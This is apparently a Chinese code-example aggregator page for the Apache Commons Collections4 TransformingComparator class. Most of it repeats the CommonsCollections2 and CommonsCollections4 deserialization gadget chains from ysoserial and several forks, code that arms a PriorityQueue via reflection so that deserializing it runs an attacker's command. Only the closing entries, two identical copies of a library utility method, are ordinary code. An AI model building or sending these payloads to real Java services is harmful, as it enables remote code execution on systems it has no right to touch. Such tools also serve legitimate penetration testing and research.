Java 类org.apache.commons.collections4.comparators.TransformingComparator 实例源码

项目：APacheSynapseSimplePOC 文件：CommonsCollections2.java

public Queue<Object> getObject(final String command) throws Exception {
    final Object templates = Gadgets.createTemplatesImpl(command);
    // mock method name until armed
    final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);

    // create queue with numbers and basic comparator
    final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
    // stub data for replacement later
    queue.add(1);
    queue.add(1);

    // switch method called by comparator
    Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");

    // switch contents of queue
    final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
    queueArray[0] = templates;
    queueArray[1] = 1;

    return queue;
}

项目：ysoserial-modified 文件：CommonsCollections2.java

public Queue<Object> getObject(CmdExecuteHelper cmdHelper) throws Exception {


    final Object templates = Gadgets.createTemplatesImpl(cmdHelper.getCommandArray());
    // mock method name until armed
    final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);

    // create queue with numbers and basic comparator
    final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
    // stub data for replacement later
    queue.add(1);
    queue.add(1);

    // switch method called by comparator
    Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");

    // switch contents of queue
    final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
    queueArray[0] = templates;
    queueArray[1] = 1;

    return queue;
}

项目：ysoserial-plus 文件：CommonsCollections2.java

public Queue<Object> getObject(final String command) throws Exception {
    final Object templates = Gadgets.createTemplatesImpl(command);
    // mock method name until armed
    final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);

    // create queue with numbers and basic comparator
    final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
    // stub data for replacement later
    queue.add(1);
    queue.add(1);

    // switch method called by comparator
    Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");

    // switch contents of queue
    final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
    queueArray[0] = templates;
    queueArray[1] = 1;

    return queue;
}

项目：JavaSerialKiller 文件：CommonsCollections2.java

public Queue<Object> getObject(final String command) throws Exception {
    final TemplatesImpl templates = Gadgets.createTemplatesImpl(command);
    // mock method name until armed
    final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);

    // create queue with numbers and basic comparator
    final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
    // stub data for replacement later
    queue.add(1);
    queue.add(1);

    // switch method called by comparator
    Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");

    // switch contents of queue
    final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
    queueArray[0] = templates;
    queueArray[1] = 1;

    return queue;
}

项目：Java-Deserialization-Exploit 文件：CommonsCollections2.java

public Queue<Object> getObject(final String command) throws Exception {
    final TemplatesImpl templates = Gadgets.createTemplatesImpl(command);
    // mock method name until armed
    final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);

    // create queue with numbers and basic comparator
    final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
    // stub data for replacement later
    queue.add(1);
    queue.add(1);

    // switch method called by comparator
    Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");

    // switch contents of queue
    final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
    queueArray[0] = templates;
    queueArray[1] = 1;

    return queue;
}

项目：ysoserial 文件：CommonsCollections2.java

public Queue<Object> getObject(final String command) throws Exception {
    final Object templates = Gadgets.createTemplatesImpl(command);
    // mock method name until armed
    final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);

    // create queue with numbers and basic comparator
    final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
    // stub data for replacement later
    queue.add(1);
    queue.add(1);

    // switch method called by comparator
    Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");

    // switch contents of queue
    final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
    queueArray[0] = templates;
    queueArray[1] = 1;

    return queue;
}

项目：APacheSynapseSimplePOC 文件：CommonsCollections4.java

public Queue<Object> getObject(final String command) throws Exception {
    Object templates = Gadgets.createTemplatesImpl(command);

    ConstantTransformer constant = new ConstantTransformer(String.class);

    // mock method name until armed
    Class[] paramTypes = new Class[] { String.class };
    Object[] args = new Object[] { "foo" };
    InstantiateTransformer instantiate = new InstantiateTransformer(
            paramTypes, args);

    // grab defensively copied arrays
    paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes");
    args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs");

    ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate });

    // create queue with numbers
    PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain));
    queue.add(1);
    queue.add(1);

    // swap in values to arm
    Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class);
    paramTypes[0] = Templates.class;
    args[0] = templates;

    return queue;
}

项目：ysoserial-modified 文件：CommonsCollections4.java

public Queue<Object> getObject(CmdExecuteHelper cmdHelper) throws Exception {

    Object templates = Gadgets.createTemplatesImpl(cmdHelper.getCommandArray());

    ConstantTransformer constant = new ConstantTransformer(String.class);

    // mock method name until armed
    Class[] paramTypes = new Class[] { String.class };
    Object[] args = new Object[] { "foo" };
    InstantiateTransformer instantiate = new InstantiateTransformer(
            paramTypes, args);

    // grab defensively copied arrays
    paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes");
    args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs");

    ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate });

    // create queue with numbers
    PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain));
    queue.add(1);
    queue.add(1);

    // swap in values to arm
    Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class);
    paramTypes[0] = Templates.class;
    args[0] = templates;

    return queue;
}

项目：ysoserial-plus 文件：CommonsCollections4.java

public Queue<Object> getObject(final String command) throws Exception {
    Object templates = Gadgets.createTemplatesImpl(command);

    ConstantTransformer constant = new ConstantTransformer(String.class);

    // mock method name until armed
    Class[] paramTypes = new Class[] { String.class };
    Object[] args = new Object[] { "foo" };
    InstantiateTransformer instantiate = new InstantiateTransformer(
            paramTypes, args);

    // grab defensively copied arrays
    paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes");
    args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs");

    ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate });

    // create queue with numbers
    PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain));
    queue.add(1);
    queue.add(1);

    // swap in values to arm
    Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class);
    paramTypes[0] = Templates.class;
    args[0] = templates;

    return queue;
}

项目：JavaSerialKiller 文件：CommonsCollections4.java

public Queue<Object> getObject(final String command) throws Exception {
    TemplatesImpl templates = Gadgets.createTemplatesImpl(command);

    ConstantTransformer constant = new ConstantTransformer(String.class);

    // mock method name until armed
    Class[] paramTypes = new Class[] { String.class };
    Object[] args = new Object[] { "foo" };
    InstantiateTransformer instantiate = new InstantiateTransformer(
            paramTypes, args);

    // grab defensively copied arrays
    paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes");
    args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs");

    ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate });

    // create queue with numbers
    PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain));
    queue.add(1);
    queue.add(1);

    // swap in values to arm
    Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class);
    paramTypes[0] = Templates.class;
    args[0] = templates;

    return queue;
}

项目：ysoserial 文件：CommonsCollections4.java

public Queue<Object> getObject(final String command) throws Exception {
    Object templates = Gadgets.createTemplatesImpl(command);

    ConstantTransformer constant = new ConstantTransformer(String.class);

    // mock method name until armed
    Class[] paramTypes = new Class[] { String.class };
    Object[] args = new Object[] { "foo" };
    InstantiateTransformer instantiate = new InstantiateTransformer(
            paramTypes, args);

    // grab defensively copied arrays
    paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes");
    args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs");

    ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate });

    // create queue with numbers
    PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain));
    queue.add(1);
    queue.add(1);

    // swap in values to arm
    Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class);
    paramTypes[0] = Templates.class;
    args[0] = templates;

    return queue;
}

项目：HCFCore 文件：ComparatorUtils.java

/**
 * Gets a Comparator that passes transformed objects to the given comparator.
 * <p>
 * Objects passed to the returned comparator will first be transformed
 * by the given transformer before they are compared by the given
 * comparator.
 *
 * @param <I>  the input object type of the transformed comparator
 * @param <O>  the object type of the decorated comparator
 * @param comparator  the sort order to use
 * @param transformer  the transformer to use
 * @return  a comparator that transforms its input objects before comparing them
 * @see  TransformingComparator
 */
@SuppressWarnings("unchecked")
public static <I, O> Comparator<I> transformedComparator(Comparator<O> comparator,
        final Transformer<? super I, ? extends O> transformer) {

    if (comparator == null) {
        comparator = NATURAL_COMPARATOR;
    }
    return new TransformingComparator<I, O>(transformer, comparator);
}

项目：HCFCore 文件：ComparatorUtils.java

/**
 * Gets a Comparator that passes transformed objects to the given comparator.
 * <p>
 * Objects passed to the returned comparator will first be transformed
 * by the given transformer before they are compared by the given
 * comparator.
 *
 * @param <I>  the input object type of the transformed comparator
 * @param <O>  the object type of the decorated comparator
 * @param comparator  the sort order to use
 * @param transformer  the transformer to use
 * @return  a comparator that transforms its input objects before comparing them
 * @see  TransformingComparator
 */
@SuppressWarnings("unchecked")
public static <I, O> Comparator<I> transformedComparator(Comparator<O> comparator,
        final Transformer<? super I, ? extends O> transformer) {

    if (comparator == null) {
        comparator = NATURAL_COMPARATOR;
    }
    return new TransformingComparator<I, O>(transformer, comparator);
}